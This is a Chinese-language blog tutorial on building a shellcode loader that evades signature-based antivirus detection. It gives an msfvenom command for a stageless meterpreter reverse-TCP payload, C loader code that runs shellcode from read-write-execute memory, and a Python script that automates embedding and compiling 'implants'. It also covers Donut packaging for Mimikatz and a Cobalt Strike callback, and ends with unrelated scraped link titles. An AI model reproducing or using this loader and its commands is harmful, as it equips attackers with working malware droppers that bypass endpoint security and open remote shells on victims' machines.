Shellcode加载器是一种基本的规避技术。尽管shellcode加载器通常可以促进payload的初始执行,但是启发式检测方法仍可以标记payload的其他方面和行为。例如,很多安全产品可能会在内存中时对其进行检测,或者将特定的网络流量检测为恶意。我们将研究一些适合与加载器结合使用的后期开发框架,并研究如何嵌入其他类型的二进制文件(例如.NET和已编译的PE二进制文件)。

博客系列的第一部分将介绍使用Shellcode进行后期开发payload的基本要领。在第二部分中,我们将为加载器实现其他功能,并查看某些功能的一些优点和缺点。因为我们使用shellcode来避免基于签名的检测,所以重要的是限制安全解决方案创建启动程序签名的可能性。二进制混淆是避免基于签名的检测的一种潜在解决方案,我们将编写一个python脚本来自动化加载器的生成和混淆。

Shellcode简介

在攻击中我们需要在目标上执行某些shellcode。诸如Metasploit和Cobalt Strike之类的后期开发框架都有自己的shellcode,但是这些框架中的payload由于被广泛使用而具有很高的检测率。但是,它们提供了一些功能,可以让我们自由发挥。此外,使用易于检测的shellcode将有助于我们确定加载器的回避功能在开发过程中是否正常运行。

Metasploit和Cobalt Strike提供both staged和stageless payload。使用both staged的payload时,shellcode会更小,从而导致启动程序二进制文件更小。然而,与stageless payload相比,both staged的payload被发现的可能更大。这可能是因为来自服务端的网络流量被标记为恶意,或者是因为检测到了攻击者用来执行最终payload的方法。在这片博客中,我们将使用stageless payload进行规避,因为我们不关心在将payload加载到内存之前的检测。有关both staged与stageless payload的更多信息,请查看深入了解无负载计量表的负载 OJ Reeves的博客文章。

上图演示了如何使用msfvenom生成原始shellcode。我们指定payload连接的IP和端口,并将输出保存到文件中。处理大文件时,该head命令只能用于打印第一个字符。在这里,我们使用该-c参数仅输出前100个字符,然后我们可以将其通过管道传递xxd以获得shellcode的十六进制转储。

msfvenom –p windows/meterpreter_reverse_tcp LHOST=IP LPORT=port > stageless_meterpreter.raw

head –c 100 stageless_meterpreter.raw | xxd

TheWover 的Donut项目可用于创建与位置无关的shellcode,该shellcode可以加载.NET,PE和DLL文件。该工具将允许我们通过支持其他payload类型来扩展加载器的可用性。使用Donut,我们可以轻松地为Mimikatz,Safetykatz和Seatbelt等工具生成shellcode。

剖析Shellcode加载器

shellcode加载器是用C编写的,我们将使用Python自动插入shellcode并编译二进制文件。要在Linux上编译Windows可执行文件,我们将使用MinGW编译器。

#include

#include

using namespace std;

int main()

{

char shellcode[] = "把shellcode粘贴到这里";

LPVOID lpAlloc = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

memcpy(lpAlloc, shellcode, sizeof shellcode);

((void(*)())lpAlloc)();

return 0;

}

在这里,我们可以看到标准shellcode加载器的源代码。在本博客系列中,我们将为该加载器添加功能。包括四个主要部分。首先,shellcode被定义为char变量,但是当前源代码具有一个占位符字符串,该字符串将在以后自动对其进行修改。然后,我们使用VirtualAlloc为shellcode分配内存。重要的是要注意,此内存页当前具有读取,写入和执行权限。之后,使用memcpy将shellcode移到新分配的内存页面中。最后,执行shellcode。

我们可以使用Msfvenom,Cobalt Strike和Donut生成的shellcode由原始字节组成。因为我们希望将payload嵌入到源文件中;我们必须将shellcode格式化为十六进制表示形式。可以使用手动解决方案hexdump,但是稍后我们将在Python中自动执行此步骤。

该hexdump命令将读取原始的shellcode文件并返回十六进制格式,可以将其嵌入源代码中。在上图中,我们将输出保存到文件中,然后使用该head命令来说明所返回的十六进制格式hexdump。

hexdump -v -e '"\\""x" 1/1 "%02x" ""' raw.bin >> hex_format

head –c 100 hex_format

如果#replace_me#使用十六进制格式的shellcode 替换源文件中的字符串,则可以使用MinGW对其进行编译。

i686-w64-mingw32-c++ shellcode_launcher.cpp -o launcher.exe

自动化

尽管我们可以格式化shellcode并将其手动插入到源文件中,但是我们将编写一个简短的Python脚本来自动执行此过程。Python脚本将需要三个文件操作。它必须读取原始shellcode文件,读取源文件,然后将格式化的源代码写入文件,然后可以将其编译为最终二进制文件。

import binascii

import argparse

import subprocess

import os

def main(p_args):

# Read source template

with open("launcher_template.cpp", "r") as input_template:

source_template = input_template.read()

# Read input payload

with open(p_args.input, "rb") as input_shellcode:

raw_shellcode = input_shellcode.read()

# Convert raw binary to formatted hex

hex_data = binascii.hexlify(raw_shellcode).decode()

hex_file_content = r"\x" + r"\x".join(hex_data[n : n+2] for n in range(0, len(hex_data), 2))

# Insert the shellcode into the source code

output_file = source_template.replace("#replace_me#", hex_file_content)

# Write our formatted source file

with open("compile_me.cpp", "w") as output_handle:

output_handle.write(output_file)

# Specify our compiler arguements

compiler_args = []

compiler_args.append("i686-w64-mingw32-c++")

compiler_args.append("compile_me.cpp")

compiler_args.append("-o")

if len(p_args.output) > 0:

compiler_args.append(p_args.output)

else:

compiler_args.append("shellcode_launcher.exe")

# Compile the formatted source file

subprocess.run(compiler_args)

# Delete the formatted source file after it has been compiled

os.remove("compile_me.cpp")

if __name__ == "__main__":

parser = argparse.ArgumentParser(description='Protect your implants')

parser.add_argument("--input", help="Input file. Raw shellcode", type=str, required=True)

parser.add_argument("--output", help="Specify file output", type=str, default="")

args = parser.parse_args()

main(args)

我们argparse用来确定输入文件。通过使用binascii库;我们可以不使用hexdump命令将原始shellcode转换为十六进制。当前,源模板文件的路径被硬编码到python脚本中,但是可以很容易地对其进行修改,以允许用户使用该argparse库在不同的模板之间进行选择。此外,我们可以自动编译新格式化的源文件,然后在编译完最终二进制文件后将其删除。

使用x32dbg分析加载器

如果我们在调试器中运行可执行文件,我们可以检查如何执行shellcode。

在上图中,我们可以看到将shellcode复制到分配的内存页后会发生什么VirtualAlloc。之后memcpy被调用时,shellcode的地址从堆栈到移动EAX寄存器。

如果我们现在看一下中的值EAX;我们可以找到shellcode所在的地址。

一旦我们有了地址;我们可以使用x32dbg中的“内存映射”标签找到内存页面。如上图所示,包含shellcode的内存页面当前具有读取,写入和执行权限。要注意的另一件事是,我们可以在中看到一个具有与payload相同大小的附加内存页面.rdata。由于shellcode是未加密地嵌入二进制文件中的,因此防御者将能够在不执行启动程序二进制文件的情况下检测到恶意负载。

使用x32dbg,蓝色团队可以查看内存页面中的内容并将其导出到文件中,以便以后进行进一步分析。对蓝色团队成员有用的注释是,即使payload在嵌入发射器二进制文件之前已被加密;通过在调试器中逐步执行,仍可以转储未加密的payload。

如果我们继续逐步执行,我们可以看到call eax执行后,指令指针跳到了shellcode。现在,当我们正常继续执行时,我们会在Cobalt Strike中收到客户端连接。

结论

Msfvenom,Cobalt Strike和Donut使我们能够轻松支持各种不同的payload。但是,在使这些payload绕过端点安全解决方案之前,必须实现其他功能。虽然当前的加载器是基本的,但它是一个很好的基础,以后可以扩展。我们学习了如何格式化原始shellcode,以及如何将源代码编译为可执行二进制文件。另外,我们创建了一个Python脚本,该脚本可以自动完成该过程。

java 加载shellcode_通用Shellcode加载器相关推荐

  1. java 加载shellcode_多阶段加载shellcode

    介绍 多阶段加载是基于如下这种想法:如果一个小片段的shellcode可以在目标上执行,理论上可以通过网络连接.传输和执行其他的shellcode,或者甚至是一个完整的二进制可执行文件. 关键的想法是 ...

  2. java 加载shellcode_动态加载 ShellCode绕过杀软

    反病毒解决方案用于检测恶意文件,并且通常使用静态分析技术来区分二进制文件的好坏.如果是恶意文件本身包含恶意内容(ShellCode),那么依靠静态分析技术会非常有效,但如果攻击者使用轻量级的stage ...

  3. APK加壳【3】通用内存加载dex方案分析

    来源 Andorid APK反逆向解决方案:梆梆加固原理探寻 CSDN 作者Jack_Jia 该篇博文中的:"3. 如何使DexClassLoader加载加密的dex文件? "这部 ...

  4. java loadjs_Javarscript中模块(module)、加载(load)与捆绑(bundle)详解

    JS模块简介 js模块化,简单说就是将系统或者功能分隔成单独的.互不影响的代码片段,经过严格定义接口,使各模块间互不影响,且可以为其他所用. 常见的模块化有,C中的include (.h)文件.jav ...

  5. java与3d建模_3d建模加载,更新和在java中呈现

    好的,首先,复杂的对象通常是使用一些3D编辑软件,如Blender或Art of Illusion创建的.这些程序可以将对象输出为几种不同的文件格式,最常见的是.obj文件格式: 另一种常见的格式是. ...

  6. java 找不到或无法加载主类- 解决方案

    java 找不到或无法加载主类- 解决方案 参考文章: (1)java 找不到或无法加载主类- 解决方案 (2)https://www.cnblogs.com/caibixiang123/p/1170 ...

  7. 通用图片加载组件UniversalImageLoader

    通用图片加载组件UniversalImageLoader UniversalImageLoader是一款通用图片加载组件.该组件支持多种图片来源,如网络.SD卡.Assets文件夹等.在网络请求的时候 ...

  8. java 内部类 加载_举例讲解Java的内部类与类的加载器

    内部类 class A { //Inner1 要在 A 初始化后 才能使用,即要被A的对象所调用 class Inner1 { int k = 0; // static int j = 0; //A加 ...

  9. java.lang.String_自己写的java.lang.String可以让jvm加载到吗?

    git 前言 老问题了,到网上也一搜一堆答案,比如,随便来一篇 乍一看好像没什么问题,但是在掌握自定义类加载器之后,知道如何打破双亲委派之后再回头来看这段话发现有两个问题: 1:凭什么你认为我现在是A ...

最新文章

  1. NAPI技术--原理和实现(一)
  2. ZZ--是谁送走了我们的同事
  3. JSP(1)—基础知识
  4. hdu 1003 Max Sum
  5. Python文件修改的两种方式
  6. China Daily | 技术不是拦路虎:在线音乐教学可完美还原线下场景
  7. hash table(用乘法散列法实现)
  8. 【UOJ188】 Sanrd【类min_25筛】
  9. c语言打砖块游戏代码,打砖块游戏的源代码(请多指教)
  10. matlab如何判断一个文件夹里面是否包含某个含有部分文件名的文件_如何构建一个成功的AI PoC(概念验证项目)...
  11. Folder and jar
  12. C#Code128条形码生成
  13. 【linux内核分析与应用-陈莉君】设备驱动模型
  14. FZU 1968 Twinkling lights III
  15. 全新Funtool趣工具iApp软件库源码+工具箱源码
  16. python 爬虫登录
  17. px、pt、dpi、dip、分辨率、屏幕尺寸等等概念
  18. Android 实现通知栏通知APP版本更新
  19. GUI编程--03--Swing
  20. 原生面向对象的简单金山打字游戏

热门文章

  1. Reac组件化以及组件通信
  2. SpringBoot在线教育项目(项目介绍)
  3. Python 笔试题
  4. LCD驱动电路IC学习
  5. PRD里面,一个完整的功能模块需求,应该怎么写?
  6. 删除node_modules文件夹报错:rimraf : 无法加载文件 C:\Users\chen\AppData\Roaming\npm\rimraf.ps1,因为在此系统上禁止运行脚本。
  7. 【网络安全学习】渗透测试篇02-数据截取教程(上)
  8. 利用Laravel实现内容管理系统(CMS)
  9. HTML+CSS+JS作品展示(仿写携程网移动端首页②)
  10. 【以太网硬件八】1000base-T怎么做到全双工通信的?